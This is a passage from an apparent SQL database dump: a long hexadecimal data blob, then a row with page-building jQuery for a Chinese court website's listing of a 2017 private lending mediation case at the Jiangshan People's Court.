E5E3B957128400F0FE4A171EE96EDC0384331906015DDC2DD88189D3D7480538908D4E14CFF3D82198388DD43132D08D3F32C9EE55FC528C094C0CE836363731740F265B77EC959258C77F64C9CC310984097DD88385140F637B85AD1EF42A23BA00DE108382A9D40345B01BC63324F44837634992497A5F629094AF28F6F8955E79D5C5298527D1240C18CF40C38C346067A37DC6F809E8323682F1B8FD1AD976A30A2DE57C85075051A4C3B6F0130534BCBDBD73DBE19B8D2D75384E5557A723931D76F06849542B006460F04D322DE63477581492713CA5C84FDA17EB6CA5C8DB4ECFCD8767941E92313EA33538D0678C4CC29C328544AC4868BD5A842140E37767AB6938779918530680B207EF6CEC745F6BDA61D6323834201E3336241D38D052622CDD5DE0754AEFF2D6B081FA7A4F0B8632149D1D0352B2C5CE50D2F06E0B7E950C262CB406AB37381AC06B073E2E681CA41B9C31D9D77A8431ADA028D231840265330138A856E38CC5121850BA7980B17B672744A006D4CE490C1F1BDCA0B1FA8473005594B6B00F7764B2005634C83379109959A275E331BFCD5C23878133363CEC44AE8A8F534B4933674D6A3CD2D41EB91F4400DC3537ACE1DAF32068ECE4CD90EDFED2E19A4CB936686599E3FE1000FAB1832CB1F3A05E440CB85D73F43F8BE42F01C80BC00F849901C762B19D0D77B5AC14AB0033F4FFFEF76754683B84159829CE68F152E28309D458687299EDF7EFE967B30ADAEBC76A7501E02DF08FD4D9685D0CAC160C766A1E89C1B63717C86AE6888D4D80BEAF6B0D37D66084213819ECB3EDE2D0240BBA32332F58DA4C9F2D17DC0BED045148DC93ED4DFF064E240B3529F12C74B2A30AA3FCFC68B2FD3EEB23E109AF5605225733B816BE667B088D79B0F00B76132C36C8F27724084A53501B4A3BDB8CCEC8137D0424DBE4F7B2071C75886AB106A29A24503B1827A4F90628F8D5286D9727DC6E90FCF39CDB0ED6006C20052643CC23D643835F84361304CF7AC185F69D05391010106527FC5B18A3D8C1950AA41303575753209CEDB3E402D8BA3019BF0B1FBE124D47F268F4A89B09F868C284DFF3975483A3FE1D0451CCAB6CEF70AD51691CC61A3CB34500EEF7FDEF200A68B93B498409100416C905EDB5F6FF62491111139011906363136309020500F27D91BB900990906315632113DB7FD7B5290F13307D68803C6E4F65E3A014F78DCDBEEE4480131A901C13463D113DE75EEC29435819214A77FFFF8B1B050F5245642350F1718D9193F33B6B48367B135C7BDF7B5B25501109039A62CF3DE73E0961151320BDFFB7F7B61D0C7DBC7D44737FBFF7F6771300B9E7DE8B6E64D644338CFB0D7BEF5C2E416207F3691ADE09DD9F8CD3F75FCA630590A677782EE6B5C2357F03A0FF7FEFBDD71D53D77D057303DA11DCBFE2F7E2E79E7BB16766FA41AF3E7284F662B10B97B90057EFFFB359425D63761A7313A57DC3F708D01E8737F66245081B90ED59F7DE73B3902E41129A104D67D8BA3F8F7D254389DF85239622EF4D788690410C6F987B11DE7B55D1600DE80D170AEF835F45BE1D4E4B4F61F6B9F7CBF0571F8573F71CAE3A24137B7BEFBD379011303243496EB83B1CDE88BDB8F6F3BAE0F6CE2F6CD51DC012C2F790CC132A83622F36232FC20B3FF6B3C7301B020E58F7EA7F09C3ECBDFF16126F7957F7A27F8669039D08C126BC884B8E327D841784956FA82F643373976DC3CD13D222FCE825C302D393F76F42ECB9860D40AB0E78DE7BCC7033B15E88CF84FF7F13865B11FA1F56161A1F2FB7F780AC5CDC84F75EBE3630AA3DE3CD98F12FC26B160A3CC3FF1F90F1E95C1B1850F35B0B0F0FF7401FA417E31D264CCC44ED907B3362B1DEC7B14BA6330CFFC6241D62335CA9F7FEA10A7A935E7B9F400DB906F778B1772458554D3D5CC5DCFFBFAB51E94D10A8514F2E7C6BF7D2C66B107BC1222A38C0CDBFD8A4EF4CD11383C826FF1B7BEF45F8DC12B5F7978CBFA3326C60B1F7DE0CED7AD602BEE35FB0C4934F193A88681EDC5A3610EFF05CEF602FD7F7010130718515E1F166D8AFF70374EFC5867E990C8E0EA558ACD73C1003164371C79AF566BC49608589E163EF4DC03804A04545322F8CB19BAD7D54F130171C0B02F76A1F3A8459AF0998D7D919F4786F4265688025DFDE319B1C2F5F03F3E25F07FE1D0813F6DEE602202A7756472DB5C8263C176348A1592388F022C545886FA876F7B0ECAE2157249C5054F781576C0E6F022F89AE7D0908C126CC3BEF6216CAD658ACFF1BBD5B53C522C4366E53CF5ADA3BC4DE7BE57F31855762807B6FD254138A28BDB771BB1C4350037350F4F0BB7DDE9B148B6B8A2D0B976FC28BF4E81342728D65E0BBE1F74A43F01C431F4501E9A721309B333030C06F767891110D30F20ADDEEFE09B41375A1E012450358F90F47A7537B93DEECF2236484DDB9189192C1D2912E7CA1FD63C063DE1BF302EE4F1D743B07B1DEDBADE4F01B8C3488C5DEB07AC1DF4E2C7CEFCD4BE7BE65895A43D9EB45D880B88BC6544A7891DEA490031AD51ABAB34D5F059022899A7313DEEB6D2E98B469A5BC5E8CD87B492B045C47C6FF88F57F54D47163B8747F7666F59AC1E6E8C09D5F7BD483203C8604AA0A6AA459A437473AA908F5AEEEFF9025477D18B0F7A5A445390E7D5BF7D584581188DC3ED607211689D9C200ADA32BD28B35A8EC05DB60DA787B28370F00527D64B3D9476F5804265D584E8658ECC57898B5E49EF4B6E50ABC74994C9B6B022348FCFF33E915EF0F4FE916F343F7C89CDBDCB1DE8B31B4338B3823D21B02A4AAAD5E77782C1E54F91B61F791C0E2A4ECCDDE848F44059434F022CC5ED50E7DE7E0E5D6FFCC1D6A63143C4403B2AC738DF77460C58861B973EE444504668772FF70DD9BC49B3A0B31781675E37DF98564158583F7525B1CF77A5B8CEE22F6823007DCC7330EEF4DB44881EA49B92F1776971B5AEEFCF479A8F794065C6C56EC43F33F4C258B4D98F08968C3F618DBB7F8D8F37D2FFCD32689F73303CAFF84F75EA4CA146D746DA5824D68D6ECB8D3B5BBEB3D109FD81FE813CE831FD28BD468E57784BACF2F092D6935A650ADC384192F688ADFC92D16CAF7E058436A93E0233683DD9B49F70ECE39783BC520D68B043DA2BF179B35BB6CD11F50F9D2AC73AC13A0D5E85248F482312BD460161F664C9A501748851FB393663CFE1FB71FBBF7174F6417E66EC261599C5E651F8DFFDE7BD603A7D3F116C8B3D7FB6660A3C9382B4BBEF5EE108CDE0B47654228184C98DCB610C21B6745341AAD22731FBD5658ECC5DCD14939FC76B91126358B9F18A368468408A70937F0221DF94943F76F2F6C179B149B2407CD32A0602E19B34678243EBD18CDFAADF79A1794C17A4D2836E1B7CDAEBAF08BCDE816B07EEEF396AEE103370E04130560D894D3BC043378B31959EE53B598711816FC1BCBB0ECFE4DDEB6151E33133CAE435419269662393A4AE1E022C466B823479E1568F6DEA4E039A6AA1B1FF843D57501E080956B3C1EBC14C0AC7F13E37D6CE01F1AF75B5F15CD664C9A6C34F08DDECC0DE38CC54D2B263AD815D83B7D7D40C33F3FCFF60EEF19AA85','2018-09-29
11:41:03',0,'web',NULL),(30855207,'cdd9eb16-b253-459b-a14c-a7f2000b2fb3','$(function(){$(\"#con_llcs\").html(\"浏览：69次\")});$(function(){var
caseinfo=JSON.stringify({\"法院ID\":\"1130\",\"案号\":\"（2017）浙0881民初2065号\",\"法院地市\":\"衢州市\",\"法院省份\":\"浙江\",\"文本首部段落原文\":\"\",\"法院区域\":null,\"案件名称\":\"赵水发与刘志远、刘杭民间借贷纠纷一审民事调解书\",\"文书ID\":\"cdd9eb16-b253-459b-a14c-a7f2000b2fb3\",\"法院名称\":\"江山市人民法院\",\"裁判要旨段原文\":\"\",\"法院区县\":\"江山市\",\"DocContent\":\"\",\"补正文书\":null,\"诉讼记录段原文\":null,\"判决结果段原文\":\"\",\"文本尾部原文\":\"\",\"上传日期\":\"\\\/Date(1505664000000)\\\/\",\"案件类型\":\"2\",\"诉讼参与人信息部分原文\":\"\",\"审判程序\":\"一审\",\"文书类型\":null,\"文书全文类型\":\"1\",\"裁判日期\":null,\"结案方式\":null,\"效力层级\":null,\"不公开理由\":\"以调解方式结案的\",\"案件基本情况段原文\":\"\",\"附加原文\":null});$(document).attr(\"title\",\"赵水发与刘志远、刘杭民间借贷纠纷一审民事调解书\");$(\"#tdSource\").html(\"赵水发与刘志远、刘杭民间借贷纠纷一审民事调解书
（2017）浙0881民初2065号\");$(\"#hidDocID\").val(\"cdd9eb16-b253-459b-a14c-a7f2000b2fb3\");$(\"#hidCaseName\").val(\"赵水发与刘志远、刘杭民间借贷纠纷一审民事调解书\");$(\"#hidCaseNumber\").val(\"（2017）浙0881民初2065号\");$(\"#hidCaseInfo\").val(caseinfo);$(\"#hidCourt\").val(\"江山市人民法院\");$(\"#hidCaseType\").val(\"2\");$(\"#HidCourtID\").val(\"1130\");$(\"#hidRequireLogin\").val(\"0\");});$(function(){var
dirData = {Elements: [\"RelateInfo\", \"LegalBase\"],RelateInfo: [{ name:
\"审理法院\", key: \"court\", value: \"江山市人民法院\" },{ name: \"案件类型\", key:
\"caseType\", value: \"民事案件\" },{ name: \"案由\", key: \"reason\", value: \"\"
},{ name: \"审理程序\", key: \"trialRound\", value: \"一审\" },{ name: \"裁判日期\",
key: \"trialDate\", value: \"2017-06-01\" },],LegalBase: []};if
($(\"#divTool_Summary\").length > 0) {$(\"#divTool_Summary\").ContentSummary({
data: dirData });}});$(function() {\r\n var jsonHtmlData =
\"{\\\\\"Title\\\\\":\\\\\"赵水发与刘志远、刘杭民间借贷纠纷一审民事调解书\\\\\",\\\\\"PubDate\\\\\":\\\\\"2017-09-18\\\\\",\\\\\